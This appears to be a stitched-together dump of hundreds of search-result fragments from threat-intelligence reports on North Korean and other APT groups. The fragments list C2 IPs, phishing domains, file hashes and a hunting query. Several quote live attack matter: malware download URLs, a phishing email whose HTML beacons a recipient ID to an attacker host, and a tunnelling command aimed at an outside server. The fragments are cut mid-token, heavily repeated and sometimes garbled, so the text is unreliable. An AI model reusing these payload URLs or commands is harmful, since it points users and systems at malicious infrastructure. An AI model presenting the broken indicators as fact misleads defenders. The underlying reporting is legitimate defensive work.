http[://]104.155.…","…05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe 146.4.21.94 109.248.150.13 108.61.186.55:443 http://146.4.21.94/tmp/tmp/comp.dat http://146.4.21.94/tmp/tmp/log.php…","…Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS…","…Priority: MONITOR & HUNT. # IPV4 ROLE PRIORITY 1 146.70.114.180 Staging / target-list hosting / launch MONITOR & HUNT 2 146.70.114.182 Staging / target-list hosting / launch MONITOR & HUNT…","…MONITOR & HUNT. # IPV4 ROLE PRIORITY 1 146.70.114.180 Staging / target-list hosting / launch MONITOR & HUNT 2 146.70.114.182 Staging / target-list hosting / launch MONITOR & HUNT 3 147.175.149.67 Staging / target-list hosting / launch MONITOR & HUNT…","…2024-08-19 2024-09-12 Python update.jquerycloud.io 192.236.199.57 2024-07-03 2024-08-22 JavaScript cdn.soccerlab.io 146.70.124.70 2024-08-07 2024-08-21 Python api.coinpricehub.io 45.141.58.40 2024-05-06 2024-08-06 Java cdn.leaguehub.net…","…2024-07-15 2024-07-21 Python cdn.clublogos.io 146.19.173.29 2024-06-24 2024-07-12 Python api.jquery-release.com 146.70.125.120 2024-06-10 2024-06-28 JavaScript cdn.logosports.net 185.62.58.74 2024-05-08 2024-06-23 Python skypredict.org…","…103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43…","…poisoning BLOCK / MONITOR 12 152.237.230.29 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 13 146.70.194.93 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 14 185.157.109.60 PHP web shell tooling / upload…","…103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147…","…103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58…","…185.62.58.122 2024-03-26 2024-04-09 Python mavenradar.com 23.254.230.253 2024-02-21 2024-03-26 JavaScript indobit.io 146.70.88.126 2024-03-19 2024-03-20 Python api.thaibit.io 79.137.248.193 2024-03-07 2024-03-09 Python chainanalyser.com…","…- IOC 135.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100…","…ca9cb7bb06398670abc6d19186c336cd C&C 158.247.250.251 95.214.54.164 161.248.239.119 195.177.94.43 147.135.109.226 158.247.240.40 Mutex Xilnulmx Ncppn User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,…","…/ target-list hosting / launch MONITOR & HUNT 2 146.70.114.182 Staging / target-list hosting / launch MONITOR & HUNT 3 147.175.149.67 Staging / target-list hosting / launch MONITOR & HUNT 4 147.78.168.57 Staging / target-list hosting / launch MONITOR & HUNT…","…143.244.186.68 44.238.74.84 3818527bc78efcece9d9bc87d77efa9450c2ba5c94f8441ea557ba29d865e7d3 147.182.237.105 3.137.98.129 cd8e12cddfe71b89597b6621d538b63673c8a8a3bf47a0fa572961ca1280e5b5 137.184.15.189 172.93.201.253…","…associated network IOCs: let remoteip = dynamic([\"84.38.134.56\",\"45.155.37.101\",\"213.139.205.151\",\"109.248.150.147\",\"162.19.71.175\",\"147.78.149.201\"]); let remoteurl =…","…/ target-list hosting / launch MONITOR & HUNT 3 147.175.149.67 Staging / target-list hosting / launch MONITOR & HUNT 4 147.78.168.57 Staging / target-list hosting / launch MONITOR & HUNT 5 109.56.219.150 Staging / target-list hosting / launch MONITOR & HUNT…","…/ target-list hosting / launch MONITOR & HUNT 15 158.173.242.133 Staging / target-list hosting / launch MONITOR & HUNT 16 147.78.168.67 Staging / target-list hosting / launch (DM only; possible actor typo) MONITOR & HUNT B.…","…that have been associated with BlueNoroff-associated domains within the last 6 months: IPs Copy 104.168.143.111 147.79.103.251 216.107.137.53 23.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.…","…42 microsslcheck.com 2026-03-23 12:19:00 CloudFlare 13335 Cloudflare NAMECHEAP INC 43 usweb0l.us 2026-03-23 02:36:19 148.72.73.98 26496 GoDaddy NameSilo, LLC 44 micrlive.online 2026-03-23 01:22:21 192.64.119.144 22612 Namecheap, Inc.…","…this highly anomalous behavior included: Outbound connections to the rare external endpoint, zoom.uswebob.us associated with IP address, 148.72.73.98 [2][3] over port 443 Outbound connections to the rare external endpoint, check02id.com associated with IP address, 83.136.210.180 [4] over…","…/ target-list hosting / launch MONITOR & HUNT 12 145.255.150.25 Staging / target-list hosting / launch MONITOR & HUNT 13 149.102.232.44 Staging / target-list hosting / launch MONITOR & HUNT 14 149.102.232.93 Staging / target-list hosting / launch MONITOR & HUNT…","…/ target-list hosting / launch MONITOR & HUNT 13 149.102.232.44 Staging / target-list hosting / launch MONITOR & HUNT 14 149.102.232.93 Staging / target-list hosting / launch MONITOR & HUNT 15 158.173.242.133 Staging / target-list hosting / launch MONITOR & HUNT…","…deployed SystemBC using 45.32.210.151 as its C&C server, and a signature BianLian backdoor with C&C server 92.243.64.200:6991 from http://149.154.158.222:33031/win64_1.exe .…","…in Hunt.io revealed two open directories located at: Host Size Timestamp http://207.254.22.248:8800 363 KB - http://149.28.139.62:8080 363 KB Sep-12-2023 Fig.…","…152.89.247.87 combahton GmbH AS30823 offerings.cloud 172.86.121.130 HIVELOCITY AS29802 www.capmarketreport.com 149.28.247.34 The Constant Company, LLC AS20473 ms.msteam.biz www.onlinecloud.cloud 155.138.159.45 The Constant Company, LLC AS20473…","…For instance, in November 2022, Bluenoroff temporarily used a server to transition to using MSI and CAB files (149.28.247.34).…","…104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210…","…x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36” Simultaneously, a different IP began monitoring the logs: 149.87.155.12 — bugmenot [15/May/2025:10:26:29 +0200] “GET /log/ HTTP/1.1” 401 5750 “-” “Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101…","…gmoonsom.site nasanecesoi.site gmoocsoom.site gmcomamz.site namerowem.site gmoosomnoem.site mncomgom.site ggnmcomas.site 15.235.130.160 OVH SAS SG remote.henh247.net updatetiker.net 118.194.249.38 UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED KR gomncomow.site…","…for 2.57.90.58 [*] Done: Found 137 domains for 15.235.33.18 [*] Done: Found 178 domains for 15.235.33.28 [*] Done: Found 5 domains for 15.235.132.75 Press enter or click to view image in full size We discover 253 IPs overtime that we believe are dedicated IPs that have been in…","…for 3.33.243.145 [*] Done: Found 500 domains for 13.248.151.237 [*] Done: Found 500 domains for 2.57.90.58 [*] Done: Found 137 domains for 15.235.33.18 [*] Done: Found 178 domains for 15.235.33.28 [*] Done: Found 5 domains for 15.235.132.75 Press enter or click to view image in full…","…for 13.248.151.237 [*] Done: Found 500 domains for 2.57.90.58 [*] Done: Found 137 domains for 15.235.33.18 [*] Done: Found 178 domains for 15.235.33.28 [*] Done: Found 5 domains for 15.235.132.75 Press enter or click to view image in full size We discover 253 IPs overtime that we…","…executes similarly to the earlier sample but establishes communication with the same C2 on port 8000. Figure 9: Open directory for 15.32.138.108.…","…150.60.192.67 propro.jp JP AS9597 KDDI Web Communications Inc.…","…gif http[://]64.188.27.73/board/logo_adm_org.gif http[://]64.188.27.73/board/tour_upt.html IPs 193.56.28.251 52.202.193.124 64.188.27.73 151.106.2.139 66.154.102.91 Share this post Related Content Chaos…","…poisoning BLOCK / MONITOR 17 217.60.196.124 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 18 151.253.243.219 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 19 23.106.131.214 PHP web shell tooling / upload…","…(TCP) 104.86.110.106:80 (TCP) 116.84.245(.0100:80 (TCP) 119.205.211(.077:443 (TCP) 13.49.212.207:80 (TCP) 142.250.179.132:80 (TCP) 152.199.19.74:80 (TCP) 157.240.247.35:443 (TCP) 157.240.247.35:80 (TCP) 172.64.149.23:80 (TCP) 172.64.152.151:443 (TCP) 18.185.8.123:443…","…poisoning BLOCK / MONITOR 11 45.148.10.80 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 12 152.237.230.29 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 13 146.70.194.93 PHP web shell tooling / upload…","…identified IPs, along with their ASNs, locations, and associated domains, are as follows: IP Address ASN Location Domain(s) 152.32.138.108 UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED KR gsoonmann.site gmnormails.site gmoonsom.site nasanecesoi.site gmoocsoom.site…","…52.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.104 118.194.248.103 Domains…","…identified in this research is attributable to Kimsuky activity. IoCs IP Addresses 123.58.201.34 152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69…","…443 AS135377 UCloud HK 152.32.243.178 80 AS135377 UCloud HK 101.36.114.66 80 — Korea 27.102.137.140 80 AS45996 DAOU Technology 152.32.138.146 443 AS135377 UCloud HK 118.194.248.134 443 AS135377 UCloud HK 118.193.69.19 443 AS135377 UCloud HK 152.32.139.149 80 AS135377…","…32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21…","…to Kimsuky and are therefore currently active in their campaign: IP Domain 51.79.185.184 aointerviews.com 176.111.220.168 152.32.138.15 IIM Chain Here’s the related IIM Chain for this attack You can view it in the IIM Workbench if you want to inspect it further…","…52.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138…","…users. The PowerShell keylogger from the aforementioned JPCERT report communicates with www.vic.apollo-star7.kro.kr , which resolves to 152.32.138.167 . Pivoting on that IP address led us to another file, a Portable Executable (PE) called powershell.exe (…","…related to the Kimsuky APT. During this pivot, we identified the infrastructure node 152.32.138.167 .…","…123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.104 118.194.248.103 Domains…","…118.193.68.146 N/A Sectigo Limited *.nidcheck.o-r.kr *.againcheck.site 118.194.248.148 N/A N/A N/A 123.58.200.50 N/A N/A N/A 152.32.138.191 N/A N/A N/A 152.32.243.153 N/A Sectigo Limited *.checkmail.kro.kr *.nidcorp.store *.checkagain.store Historical…","…94.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167…","…118.193.69.248 ozszg.top mail.ozszg.top N/A N/A 123.58.200.13 N/A N/A N/A 152.32.243.184 nld.blog-view.o-r.kr N/A N/A 152.32.138.63 N/A N/A N/A A Simple \"Hello\" While analyzing servers displaying the Naver favicon, we found a web page hosted at IP address…","…52.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.104 118.194.248.103 Domains…","…Technology 152.32.138.146 443 AS135377 UCloud HK 118.194.248.134 443 AS135377 UCloud HK 118.193.69.19 443 AS135377 UCloud HK 152.32.139.149 80 AS135377 UCloud HK 167.88.166.204 443 — — 118.194.248.183 80 AS135377 UCloud HK 152.32.243.215 80 AS135377 UCloud HK…","…Addresses 123.58.201.34 152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.1…","….quest plutg.shop dorray.site osihi.store nzzstore.site handhygieneforhealth.org petssecondchance.larcity.dev 210.92.18.162 158.247.223.235 152.32.243.136 이 글 공유하기 Facebook LinkedIn Email…","…Limited *.nidcheck.o-r.kr *.againcheck.site 118.194.248.148 N/A N/A N/A 123.58.200.50 N/A N/A N/A 152.32.138.191 N/A N/A N/A 152.32.243.153 N/A Sectigo Limited *.checkmail.kro.kr *.nidcorp.store *.checkagain.store Historical Observations IP Address Resolving…","…1.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.10…","…3 DNS Providers, 1 Fingerprint C2 IP Addresses IP Address Port ASN Organization 118.194.248.246 443 AS135377 UCloud HK 152.32.243.178 80 AS135377 UCloud HK 101.36.114.66 80 — Korea 27.102.137.140 80 AS45996 DAOU Technology 152.32.138.146 443 AS135377 UCloud HK…","…in this research is attributable to Kimsuky activity. IoCs IP Addresses 123.58.201.34 152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119…","…Org Domain in Common Name of Certificate 118.193.69.248 ozszg.top mail.ozszg.top N/A N/A 123.58.200.13 N/A N/A N/A 152.32.243.184 nld.blog-view.o-r.kr N/A N/A 152.32.138.63 N/A N/A N/A A Simple \"Hello\" While analyzing servers displaying the Naver favicon, we…","…443 AS135377 UCloud HK 152.32.139.149 80 AS135377 UCloud HK 167.88.166.204 443 — — 118.194.248.183 80 AS135377 UCloud HK 152.32.243.215 80 AS135377 UCloud HK 27.102.138.125 — AS45996 DAOU Technology 118.194.249.109 — AS135377 UCloud HK 101.36.114.231 443 — —…","…8.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.11…","…123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.104 118.194.248.103 Domains…","…123.58.201.34 152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.3…","….com.ar DEFT.COM 2024-06-05 ScoringMathTea C&C server: https://mediostresbarbas.com.ar/php_scrip/banahosting/index.php 152.42.239.211 www.bandarpowder .com DigitalOcean, LLC 2024-09-19 ScoringMathTea C&C server:…","…Black Lotus Labs team discovered a series of spoofed hostnames impersonating MID portals that all resolved to the same single IP address: 152.89.247.26.…","…URL http://152.89.247.57:52390/ http://172.93.201.248:52390/ http://172.93.201.248:8083/ http://192.236.154.125:50108/ http://209.127.37.40:52390/…","…AS54290 offerings.cloud perseus.bond docs.azure-protection.cloud avid.lno-prima.lol 152.89.247.87 combahton GmbH AS30823 offerings.cloud 172.86.121.130 HIVELOCITY AS29802 www.capmarketreport.com 149.28.247.34 The…","…- 2023-03-06) 172.86.121.143 (2022-10-31 - 2022-12-21) 172.86.121.130 (2022-10-25 - 2023-01-24) 149.28.247.34 (2022-11-11 - 2022-11-11) 152.89.247.87 (2022-09-15 - 2022-10-24) 104.168.174.80 (2022-06-28 - 2022-09-16) 149.248.52.31 (2022-08-05 - 2022-08-31) 155.138.219.140 (2022-07-17 -…","…gcc .go.kr 152.99.200.6:53） Webサイト改ざんを介して漏えいした個人情報 NSHCによれば下記6つの個人情報が流出したと報告しています。 韓国政府 セヌリ党 党員の個人情報 250万人 国防部 軍 将兵 の個人情報 30万人 大統領府 登録の個人情報…","…> C:\\users\\%ASD%\\downloads\\125.Tmp 6060 153.75.233.17 8080 127.0.0.2 3389 2 > C:\\users\\%ASD%\\downloads\\rpc.Exe 6060 153.75.233.17 8080 127.0.0.2 3389 1 > C:\\Users\\%ASD%\\Documents\\taskxys.Exe…","…> C:\\users\\%ASD%\\downloads\\125.tmp 6060 153.75.233.17 8080 127.0.0.2 3389 2 > c:\\users\\%ASD%\\downloads\\rpc.exe 6060 153.75.233.17 8080 127.0.0.2 3389 1 > C:\\Users\\%ASD%\\Documents\\taskxys.exe…","…144.172.110.53 Teams ClickFix default host webcamsdk-update.online 144.172.110.53 SDK-update themed C2 meetsdk.online 153.75.91.159 Meeting SDK themed C2 us05.zoom.web05.uk 172.86.89.213 Teams socket.io C2 default us.zoom.06webin.us 45.61.163.100 Zoom…","…(SG) Swoonchulkwon Kwon bitcoin014@han mail.net rnailr.com 45.34.176.130 (US) Swoonchul Kwon bitcoin014@han mail.net rnailo.com 154.194.120.14 (HK) Swoonchul Kwon bitcoin014@han mail.net rnailn.com 103.227.176.19 (SG) Swoonchul Kwon bitcoin015@han mail.net rnail-163.com…","…Operation Double Barrel 64 ⚫ 45.32.25.205 ⚫ 45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫ 154.205.138.70 ⚫ 154.90.62.67 ⚫ 118.219.232.101 ⚫ 114.108.139.39 ⚫ 158.247.206.214 B.…","…15: AttackCapture™ directory listing for 154.216.177.215 Analysis for 154.216.177.215 The host \" 154.216.177.215 \", operating under AS135377 (LARUS Limited) in Hong Kong, exposes an…","…e473d9aa5c a77b04b1c809c837eafaa44b8457c230fdddd680c88990035439fc9ed2493804 e4ac9f5e4ab6b324e4dbb70fe\u001f4a17351c29ebce637d39d5a5197f07dd02b18 154.223.179.14:443 SHA256 SHA256 SHA256 C2Excute/Netboy (OAED Loader) ShadowPad x86 (Casper) Dropper Indicator Type Notes APT10…","…and steal valuable intellectual property. Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise IP 154.90.62.152 MD5 95d13d6054d18f48328bc31e2eee68f7 SHA-256 3bc549b5b59a5f6f98d53bb9059667b8954b038641630fd68455155acbb25af7 SHA1…","…국세청 사칭 피싱 메일 발신 도메인:ntsdigital.xyz 발송 경로:Titan Mail(Zoho 기반) 서버를 거쳐 이메일 발송 발신 IP:154.90.62.226 인증 결과:SP /DKIM PASS 여기서 Base 64로 피싱 메일 이 인코딩 된 것을 다시 풀어줘야 합니다.…","…Barrel 64 ⚫ 45.32.25.205 ⚫ 45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫ 154.205.138.70 ⚫ 154.90.62.67 ⚫ 118.219.232.101 ⚫ 114.108.139.39 ⚫ 158.247.206.214 B.…","…AS-CHOOPA IP addresses which is an AS preferred by many adversaries to host their infrastructure within. Let’s continue further with 154.90.63.101. The IP itself has one detection on VT. After analyzing the IP and the domains it resolves to, we discovered many other malicious…","…AS29802 www.capmarketreport.com 149.28.247.34 The Constant Company, LLC AS20473 ms.msteam.biz www.onlinecloud.cloud 155.138.159.45 The Constant Company, LLC AS20473 The actor usually used fake domains such as cloud hosting services for hosting malicious…","…(2023-03-18 - today) 104.234.147.28 (2023-01-21 - today) 104.168.138.7 (2023-03-17 - today) 104.168.167.88 (2022-10-17 - today) 155.138.159.45 (2022-09-20 - today) Inactive servers 104.255.172.56 (2022-09-15 - 2023-04-11) 172.93.181.221 (2022-12-28 - 2023-03-06) 172.86.121.143…","…<html> <body> <table> <br> <tr>안녕하세요.<br></tr> <tr>통일부 주무관 *** 입니다.<br></tr> <tr background = \"http://155.138.236.240/sec.png?id=수신자 아이디\">일부 언론의 보도기사에 관한 통일부의 해명 입니다.<br></tr> </table> </body> <html> 이메일에 첨부되어 있던 'email_93682646.html' 파일을 크롬…","…IOCs tech.micrsofts.com tech.micrsofts.tech 27.102.113.93 185.29.8.53 155.94.208.209 162.19.71.175 201.77.179.66 http://27.102.113.93/inet.txt http[://]162.19.71.175:7443/sonic/bottom.gif http[://]201.77.179.66:8082/img…","…F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.ps1 http[://]104.155.149.103/8080.ps1 http[:…","…IP C2 Domains SHARPEXT 199.188.200.186 gonamod.com 198.54.126.155 siekis.com 156.154.113.16 worldinfocontact.club NetSupport RAT 135.84.124.41 Shlayer 23.63.71.26…","…structural and thematic resemblance to domains previously resolved By pivoting on each domain we got another 4 IPs 140.82.20.246 156.154.132.200 198.57.247.218 192.64.119.169 140.82.20.246 > 10/94 detection 156.154.132.200 > 2/94 detection 198.57.247.218 >…","…ttps://www.sanlorenzoyacht.com/newsl/include/inc-map.asp https://www.raiestatesandbuilders.com/admin/installer/installer/index.php http://156.245.16.55/admin/admin.asp http://fredrikarnell.com/marocko2014/index.php http://roit.co.kr/xyz/mainpage/view.asp Second stage C2 address…","…in IP attribution in APT campaigns. Pivoting From IP Address to Proxy Infrastructure The original leak called out the IP address 156.59.13.153 and a potential fingerprint: an SSL certificate with the common name *.appletls.com on the non-standard port 4012 .…","…: \"https\" , \"cpt\" : 3717236 , \"ratio\" : 0.9976261922379036 , \"versions\" : { } } , { \"attribute\" : \"x-real-ip\" , \"value\" : \"156.59.13.154\" , \"cpt\" : 1 , \"ratio\" : 2.683784920402965e-7 , \"versions\" : { } } , { \"attribute\" : \"x-forwarded-for\" , \"value\" :…","…, \"value\" : \"https\" , \"cpt\" : 3717236 , \"ratio\" : 0.9976261922379036 , \"versions\" : {} }, { \"attribute\" : \"x-real-ip\" , \"value\" : \"156.59.13.154\" , \"cpt\" : 1 , \"ratio\" : 2.683784920402965e-7, \"versions\" : {} }, { \"attribute\" : \"x-forwarded-for\" , \"value\" : \"156.59.13.154\" ,…","…(RO) Swoonchul Kwon bitcoin014@han mail.net nuaver.com 188.241.58.60 (RO) Swoonchul Kwon bitcoin014@han mail.net intercasher.com 156.67.222.226 (SG) Swoonchulkwon Kwon bitcoin014@han mail.net rnailr.com 45.34.176.130 (US) Swoonchul Kwon bitcoin014@han mail.net rnailo.com…","…(KR) Dongil Song bitcoin024@hanmail.net webrnail.net 185.224.138.172 (NL) Snoopy Nicolai 11baku2017@mail.ru webrnail.com 156.67.222.228 (SG) Blazimir Nicolai 11baku2017@mail.ru attach-filedown.net 91.235.116.227 (RO) Blazimir Gatov 11baku2017@mail.ru change-pw.com…","…File Name Type C2 mmlib.au3 EndRAT 157.180.88.26 (FI) cliconfg.au3 RftRAT 96.62.214.5 (JP) sqlite4.au3 RemcosRAT 178.16.54.208 (NL)…","…(TCP) 116.84.245(.0100:80 (TCP) 119.205.211(.077:443 (TCP) 13.49.212.207:80 (TCP) 142.250.179.132:80 (TCP) 152.199.19.74:80 (TCP) 157.240.247.35:443 (TCP) 157.240.247.35:80 (TCP) 172.64.149.23:80 (TCP) 172.64.152.151:443 (TCP) 18.185.8.123:443 (TCP) 18.185.8.123:80…","…2025년 11월 VirusTotal에 업로드된 recaptcha.html 은 당시 Kimsuky의 인프라로 확인되어 모니터링하던 157.250.202.123 에서 사용되었으며, 분석된 보안프로그램 확인.html 과 비교한 내용은 아래 표와 같다. | 파일명 | MD5 | 파라미터 | 로컬 서버 포트 | | --- | --- | --- | --- | | recaptcha .…","…recaptcha.html , uploaded to VirusTotal in November 2025, was hosted on 157.250.202.123 , an IP we had been monitoring as known Kimsuky infrastructure.…","…This domain is hosted on the IP 157.7.184.15 and has several subdomains that appear to be designed to impersonate email providers.…","…받은 응답 데이터를 실행함 mx.responseText 는 웹 서버에서 받은 텍스트 응답을 나타내며 해당 부분이 VBScript로 실행 즉 서버에서 반환된 데이터가 VBScript 코드일 경우 해당 코드가 실행 사용하는 IP 트래픽 157.7.184.26:80(TCP) 208.111.177.0:80(TCP) 209.197.3.8:80(TCP) 8.248.153.254:80(TCP) 8.252.193.254:80(TCP) 2023-10-16 07:48:48 UTC 기준 바이러스토탈 에서 탐지하는…","…108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41…","…114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214…","…/ target-list hosting / launch MONITOR & HUNT 14 149.102.232.93 Staging / target-list hosting / launch MONITOR & HUNT 15 158.173.242.133 Staging / target-list hosting / launch MONITOR & HUNT 16 147.78.168.67 Staging / target-list hosting / launch (DM only; possible…","…/ target-list hosting / launch MONITOR & HUNT 5 109.56.219.150 Staging / target-list hosting / launch MONITOR & HUNT 6 158.173.75.178 Staging / target-list hosting / launch MONITOR & HUNT 7 185.203.18.54 Staging / target-list hosting / launch MONITOR & HUNT…","…there is high confidence these IOCs are related to infrastructure operated by Kimsuky (APT43). Annex IP IOCs 158.247.204.137 158.247.192.226 158.247.242.206 DOMAIN IOCs:…","…IP ⚫ 104.131.203.210 ⚫ 104.207.135.174 ⚫ 141.164.44.139 ⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84…","…네이버 피싱 공격에 사용된 XenoRAT C&C 서버 추가로 확보한 XenoRAT(baf164d2a5066cab5772dc6ae4807f43) 중 C&C 서버 주소(158.247.202.109)는 네이버 피싱 사이트로 사용중이며, 북한 배후 공격 그룹인 Kimsuky가 사용하는 도메인 형식인 \"p-e.kr\"과 \"Million OK!!!!\" 문자열이 확인되었다. caption - C&C 서버 접속 시 나타나는 \"Million…","…campaign with those from the current campaign. | Historical Naver phishing URL | Current Naver phishing URL | | --- | --- | | http : //158.247.202.109/invoice/?wreply=&m=https%3a%2f%2fnid.naver.com%2fnidlogin.login |…","…in full size The two previously flagged Kimsuky results remained, and I focused the next stage of the hunt on IPs 141.164.51.224 and 158.247.204.137. 141.164.51.224 Press enter or click to view image in full size We can see above, this has been flagged on Virus Total.…","…⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫ 154.205.138.70 ⚫ 154.90.62.67 ⚫ 118.219.232.101 ⚫ 114.108.139.39 ⚫ 158.247.206.214 B.…","…the Telegram bot and IPFS harvester cell , to the Udalyonka htdocs dump on 158.247.250.37 . Today we document a third Vultr Seoul VPS — 158.247.210.58 — with over 60 domains observed in passive DNS across 18 months, systematic impersonation of Naver, the Korean National Tax Service…","…⚫ 104.207.135.174 ⚫ 141.164.44.139 ⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double…","…this, which ultimately ended up leading me down a rabbit hole of Censys and URLscan tabs. Starting with Censys, we can search for 158.247.215.121 to see what data we can observe. As of 17th June, the services appear to be recently removed, so what we can do is check the most recent…","…연결된 곳은 'filedownloadserve.com' 도메인이며, Passive DNS 이력으로 2개의 아이피가 사용됐습니다. Domain 주소 IP 주소 국가 코드 filedownloadserve.com 158.247.219.10 [KR] 141.164.60.110 [KR] kakaofilestorage.com 158.247.219.10 [KR] 141.164.62.19 [KR] [표 2] C2 서버 정보 ○ 특히,…","…ROKRAT and similar sophisticated malware. Impact Information Theft and Espionage Indicators of Compromise IP 108.181.50.58 158.247.219.10 